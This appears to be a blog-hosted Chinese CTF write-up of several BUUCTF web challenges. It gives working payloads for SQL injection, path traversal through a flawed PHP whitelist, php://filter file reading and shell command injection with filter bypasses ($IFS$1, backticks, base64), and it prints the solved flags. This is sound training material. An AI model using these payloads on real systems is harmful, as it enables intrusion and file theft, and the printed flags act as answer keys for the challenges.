BUUCTF题目Web部分wp(持续更新)

关于SQL注入的一些通用办法

可以访问哪些表

如有权限,查询当前用户可以访问的所有表

--Oracle查询当前用户可访问的所有表
select owner, table_name from all_tables order by table_name;
--MySQL查询用户可访问的所有数据库和表
select table_schema, table_name from information_schema.tables;
--MySQL使用系统表查询所有可访问的表
select name from sysobjects where xtype = 'U';
--MSSQL使用目录视图查询可访问的表
select name from sys.tables;

GET请求

GET请求在URL里发送参数的格式是 ?parameter1=value1&parameter2=value2&parameter3=value3……。在浏览器导航栏中直接修改就可以操纵这些参数。

POST请求

与GET请求类似,但是POST请求的参数位于请求的底部,需要借助工具来查看和修改,比如使用Burpsuite。

[极客大挑战 2019]EasySQL1【sql注入】

靶机启动后,填写username和password,登录的地址为http://url.to.target/check.php?username=admin&password=pass+word,注意post过去空格变成了加号。

http://url.to.target/
http://url.to.target/check.php?
username=admin&password=pass+word

/* 动态sql
"select * from tab where username='" + $username + 
"' and password='" + $password + "'"
*/
select * from tab 
where username='admin' and password='pass'

这是最简单的SQL注入,不管是在username还算在password上下功夫均可。 构造不正常的sql,使or 1=1恒成立,后面用#注释。或者让最后一个表达式or '1'='1'恒成立。得到flag为flag{4080d180-d289-43db-91ed-094ac7487e91}

from urllib.parse import quote,unquote
"""
构造不正常的sql
select * from tab 
where username='' or 1=1 #' and password='pass'
select * from tab 
where username='admin' and password='' or '1'='1'
"""
for m in ('\'', ' ', '#', '='):c = quote(m)print(f'{m} = {c}')print(quote(r"' or 1=1 #"))  # username=%27+or+1%3D1+%23
print(quote(r"' or '1'='1")) # password=%27+or+%271%27%3D%271
username=%27+or+1%3D1+%23
&
password=123
username=admin
&
password=%27+or+%271%27%3D%271

[极客大挑战 2019]Havefun1【代码审计】

页面按下F12,发现提示$cat=='dog'。那么post过去一个http://url.to.target/?cat=dog,得到flag为

flag{80a408c6-2602-472d-966b-eb09d00dc293}

$cat=='dog'
?cat=dog

[HCTF 2018]WarmUp1【php,代码审计】

Web界面只看到一张大黄脸。根据“代码审计”提示按下F12,可以看到提示source.php。访问source.php,看到代码,有新提示source.php和hint.php在白名单列表。访问hint.php,看到flag not here, and flag in ffffllllaaaagggg。

http://url.to.target/
http://url.to.target/source.php

http://url.to.target/hint.php

看一下source.php的代码。发现提交参数是file,且file不为空、是字符串、并通过emmm:checkFile检查。这个函数经过3次检查

  1. 先检查参数是否在白名单里,白名单为source.php和hint.php。
  2. 如果file的值仍有参数,那么取“?”前面的内容,检查是否在白名单里。
  3. 如果file的值仍有参数,值url解码,取“?”前面的内容,检查是否在白名单里。

虽然“?”前的字符串在白名单里,但是“?”后面的字符串可以被利用,目录穿越到其他目录,尝试有无 ffffllllaaaagggg 文件,向上穿越4层父目录有这个文件,得到flag。

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

构造注入的参数 ?file=source.php?/../../../../ffffllllaaaagggg。符合第二个白名单检查。

http://url.to.target/?file=source.php?/../../../../ffffllllaaaagggg 

或者 ?file=hint.php%253F/../../../../ffffllllaaaagggg。这里%253F被浏览器解码一次得到%3F,%3F再被urldecode一次得到“?”,这样就符合第三个白名单检查。

http://url.to.target/?file=hint.php%253F/../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Include1【php,include漏洞】

界面有一个链接tips,GET方法传递参数file值为flag.php。题目叫Include,考虑include漏洞。

http://url.to.target/

http://url.to.target/?file=flag.php

PHP的Include漏洞在文件包含漏洞(include)-学习笔记_include_filter漏洞_小龙在山东的博客-CSDN博客简介服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。PHP Stream(流)属性支持受限于 allow_url_fopenNO受限于allow_url_include仅 php://input、 php://s_include_filter漏洞https://blog.csdn.net/lilongsy/article/details/108146107里面已经说的很明白了。使用读取php源代码方法,/?file=php://filter/read=convert.base64-encode/resource=flag.php,得到base64编码,再转换为flag即可。

http://url.to.target/?file=php://filter/read/convert.base64-encode/resource=flag.php

<?php
echo "Can you find out the flag?";
//flag{a8f11f6d-a98b-4220-9cd8-f073cfc1c469}

[ACTF2020 新生赛]Exec1【构造payload执行shell命令】

界面标题command execution,推测是执行shell命令。F12查看,提交form只有一个参数target,那么执行ping的命令应该是拼接出来的动态命令。注意shell命令,用“;”、“&”、“|”等符号分割,可以在一行命令上执行多个命令。

http://url.to.flag/
$cmd = "ping" + $target
# target=weibo.com;ls /
$cmd = "ping weibo.com;ls /"

 尝试填入 weibo.com;ls / ,看到根目录下有flag文件。再填入weibo.com;cat /flag,得到flag。

ping weibo.com;ls /
ping weibo.com;cat /flag

[GXYCTF2019]Ping Ping Ping1【shell、$IFS$1绕开空格、绕开字母等字符】

界面上有/?ip=的提示,尝试构造payload,/?ip=qq.com;ls,看到flag.php和index.php

http://url.to.flag/?ip=qq.com;ls

尝试构造payload查看flag.php的内容,/?ip=qq.com;cat flag.php,看到fxck your space!看来是过滤了空格。

http://url.to.flag/?ip=qq.com;cat flag.php

尝试构造payload不输入空格查看flag.php内容这里有几种方法 ${IFS} 、$IFS$1 、%20 、%09 、+ 、< 、<> 等。这里$IFS$1可行,payload为 /?ip=qq.com;cat$IFS$1flag.php,看到fxck your flag!看来是过滤了flag。

http://url.to.flag/?ip=qq.com;cat$IFS$1flag.php

尝试构造payload查看index.php,/?ip=qq.com;cat$IFS$1index.php,看到代码中过滤了斜线、反斜线、引号、括号、空格、bash、flag等一系列字符(串)。那么就考虑不出现这些字符串怎么访问。

http://url.to.flag/?ip=qq.com;cat$IFS$1index.php

尝试构造payload,/?ip=qq.com;ls|xargs$IFS$1cat,也就是执行 ls|xargs cat,回显所有列出文件的内容,再按F12看代码得到flag。

http://url.to.flag/?ip=qq.com;ls|xargs$IFS$1cat

同理构造payload,/?ip=qq.com;cat$IFS$1`ls`,也就是执行 cat `ls`,回显所有列出文件的内容,再按F12看代码得到flag。不同的是,shell中将反引号内命令的输出作为输入执行,即内联执行。

http://url.to.flag/?ip=qq.com;cat$IFS$1`ls`

尝试构造payload,/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat,也就是执行 echo FLAG.PHP|tr A-Z a-z|xargs cat,回显flag.php内容,再按F12看代码得到flag。正则表达式只匹配了小写的flag,我们就输入大写的FLAG.PHP,用tr命令转为小写,再执行cat。

http://url.to.flag/?ip=qq.com;echo$IFS$1FLAG.PHP|tr$IFS$1A-Z$IFS$1a-z|xargs$IFS$1cat

尝试构造payload,/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat,也就是执行 echo ZmxhZy5waHA=|base64 -d|xargs cat,回显flag.php内容,再按F12看代码得到flag。输入flag.php的base64编码,再解码,再执行cat。

http://url.to.flag/?ip=qq.com;echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d|xargs$IFS$1cat

尝试构造payload,/?ip=qq.com;x=g;cat$IFS$1fla$x.php。利用正则表达式的漏洞,flag的最后一个字母g可以替换,也能打到目的。

http://url.to.flag/?ip=qq.com;x=g;cat$IFS$1fla$x.php

[强网杯 2019]随便注1

既然随便注,那么先尝试一下万能密码。果然可以。

--"select * from tab where id='" + $inject + "'"
--/?inject='or'1'='1
select * from tab where id=''or'1'='1'
http://url.to.flag/?inject='or'1'='1

尝试只输入一个单引号“'”,看报错是mysql数据库。

http://url.to.flag/?inject='

尝试使用union all 联查Information.schema时候,发现正则表达式过滤了select、update、delete、drop、insert、where等关键字。

http://url.to.flag/?inject='or'1'='1' union all select * from Information_schema.tables or'1'='1

Next

http://url.to.flag/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/35377.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

爬虫017_urllib库_get请求的quote方法_urlencode方法_---python工作笔记036

按行来看get请求方式 比如这个地址 上面这个地址复制粘贴过来以后 可以看到周杰伦变成了一堆的Unicode编码了 所以这个时候我们看,我们说https这里,用了UA反爬,所以这里 我们构建一个自定义的Request对象,里面要包含Us

电脑mfc140u.dll丢失的怎么办呢?这个方法亲测可以解决

修复mfc140u.dll是我最近遇到的一个技术问题&#xff0c;虽然在解决过程中遇到了一些困难&#xff0c;但最终的成功修复让我对技术的力量有了更深的体会。 首先&#xff0c;我想谈谈遇到问题时的困惑。当我尝试运行一个应用程序时&#xff0c;突然弹出一个错误提示&#xff0c;…

Docker Dirtypipe(CVE-2022-0847)漏洞复现与分析容器逃逸

安装环境 ./metarget cnv install cve-2022-0847 --verbose 原理 同脏牛&#xff0c;通过写只读内存&#xff0c;对映射的内存做篡改 EXP docker run --rm -it -v $(pwd):/exp --cap-addCAP_DAC_READ_SEARCH ubuntu如果提示 Unknown capability to add: "CAP_CAP_DAC_RE…

第五十二天

HTML5 ●MathML 是数学标记语言&#xff0c;是一种基于XML&#xff08;标准通用标记语言的子集&#xff09;的标准&#xff0c;用来在互联网上书写数学符号和公式的置标语言。 ●拖放 拖放是一种常见的特性&#xff0c;即抓取对象以后拖到另一个位置。 在 HTML5 中&#xf…

YAMLException: java.nio.charset.MalformedInputException: Input length = 1

springboot项目启动的时候提示这个错误&#xff1a;YAMLException: java.nio.charset.MalformedInputException: Input length 1 根据异常信息提示&#xff0c;是YAML文件有问题。 原因是yml配置文件的编码有问题。 需要修改项目的编码格式&#xff0c;一般统一为UTF-8。 或…

分别用python和go语言来实现的风靡一时的2048 游戏,包含完整代码

目录 1、Python实现2、Go实现 2048 游戏实现主要包括以下几个步骤&#xff1a; 创建一个棋盘&#xff0c;通常使用二维列表表示。实现棋子的移动规则&#xff0c;左移、右移、上移、下移。判断游戏是否结束&#xff0c;即棋盘是否已满或者无空位可移动。实现游戏界面的显示。 …

【Android】ViewBinding+DataBinding+MVVM新手快速上手

为什么写这篇博客 网上大部分博客&#xff0c;代码量都比较大&#xff0c;把实际的业务都代入进去了 这篇博客的目的&#xff0c;就是为了讲解基本原理和使用思路&#xff0c;然后给出一个最简单的Demo 这里不讲解具体用法&#xff0c;那样篇幅会太长&#xff0c;直接看Demo…

TENNECO EDI 项目——X12与XML之间的转换

近期为了帮助广大用户更好地使用 EDI 系统&#xff0c;我们根据以往的项目实施经验&#xff0c;将成熟的 EDI 项目进行开源。用户安装好知行之桥EDI系统之后&#xff0c;只需要下载我们整理好的示例代码&#xff0c;并放置在知行之桥指定的工作区中&#xff0c;即可开始使用。 …

YOLOv5入门实践(3)— 手把手教你如何去划分数据集

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。数据集标注完成之后&#xff0c;下一步就是对这些数据集进行划分了。面对繁杂的数据集&#xff0c;如果手动划分的话&#xff0c;不仅麻烦而且不能保持随机性。本节课就给大家介绍一种方法&#xff0c;即使用代码去划分数据…

Xcode升级导致关联库报错

想办法找到对应的库 然后到 Build Phases -- LinkBinary With Libraries中点击&#xff0c;选择对应的framework即可&#xff0c;就像我工程的报错 Undefined symbol: _OBJC_CLASS_$_ADClient _OBJC_CLASS_$_ASIdentifierManager 缺失的库是AdSupport.framework 添加后再次编…

Elasticsearch6.x和7.x的区别

Elasticsearch6.x和7.x的区别 1、查找方面的区别 在增删改方面&#xff0c;6.x和7.x是一样的&#xff0c;在查找方面&#xff08;分为普通查找和有高亮的查找&#xff09;&#xff0c;6.x和7.x有区别。 在7.x的es中&#xff1a; org.springframework.data.elasticsearch.cor…

Styled-components,另一种css in js的方案

介绍 Styled-components是一种流行的CSS-in-JS库&#xff0c;它为React和React Native应用程序提供了一种优雅的方式来管理组件的样式。它的设计理念是将CSS样式与组件逻辑紧密绑定在一起&#xff0c;从而使样式在组件层级中作用更加清晰和可维护 使用 安装Styled-components…

【C语言】操作符详解

目录 一、算数操作符 二、移位操作符 1.左移操作符 2.右移操作符 (1) 逻辑右移 (2) 算术右移 (3)小总结 三、位操作符 四、赋值操作符 五、单目操作符 六、关系操作符 七、逻辑操作符 八、 条件操作符 九、逗号表达式 十、下标引用、函数调用和结构成员 1. [ ]下…

QT-如何使用RS232进行读写通讯

以下是一个使用Qt进行RS232通讯的具体示例&#xff0c;包括读取和写入数据的操作&#xff1a; #include <QCoreApplication> #include <QDebug> #include <QSerialPort> #include <QTimer>QSerialPort serial; // 串口对象void readData() {QByteArra…

GO学习之 微框架(Gin)

GO系列 1、GO学习之Hello World 2、GO学习之入门语法 3、GO学习之切片操作 4、GO学习之 Map 操作 5、GO学习之 结构体 操作 6、GO学习之 通道(Channel) 7、GO学习之 多线程(goroutine) 8、GO学习之 函数(Function) 9、GO学习之 接口(Interface) 10、GO学习之 网络通信(Net/Htt…

UDS的DID(Data identification)

引言 DID是UDS中的一个重要概念&#xff0c;它代表着特定的数据标识符。DID用于标识和获取ECU中的特定参数数据&#xff0c;如传感器数据、状态信息等。通过使用DID&#xff0c;诊断工具可以准确地获取所需的数据&#xff0c;从而帮助诊断人员更好地了解车辆的状态和性能。 D…

开发者必知:.gitignore 文件的魔法,助你管理项目文件如虎添翼!

前言&#xff1a; 在软件开发的世界中&#xff0c;版本控制是一个至关重要的环节。而 Git 作为目前最流行的分布式版本控制系统之一&#xff0c;已经成为开发者不可或缺的工具。然而&#xff0c;在日常的开发过程中&#xff0c;有些文件是不适合被纳入版本控制的&#xff0c;比…

leetcode242. 有效的字母异位词

题目&#xff1a;leetcode242. 有效的字母异位词 描述&#xff1a; 给定两个字符串 s 和 t &#xff0c;编写一个函数来判断 t 是否是 s 的字母异位词。 注意&#xff1a;若 s 和 t 中每个字符出现的次数都相同&#xff0c;则称 s 和 t 互为字母异位词。 示例 1: 输入: s “…

【React | 前端】在React的前端页面中,判断某个变量值是否被定义?根据是否定义显示不同的内容?

问题描述 在React的前端页面中&#xff0c;判断某个变量值是否被定义&#xff1f;根据是否定义显示不同的内容&#xff1f; 问题场景 假如&#xff0c;现在有一个需求是设计一个新功能&#xff0c;新功能中要求新增一个之前没有的变量&#xff0c;假设是计算某一个数组的长度…

基于Java+SpringBoot+Vue的数码论坛系统设计与实现(源码+LW+部署文档等)

博主介绍&#xff1a; 大家好&#xff0c;我是一名在Java圈混迹十余年的程序员&#xff0c;精通Java编程语言&#xff0c;同时也熟练掌握微信小程序、Python和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…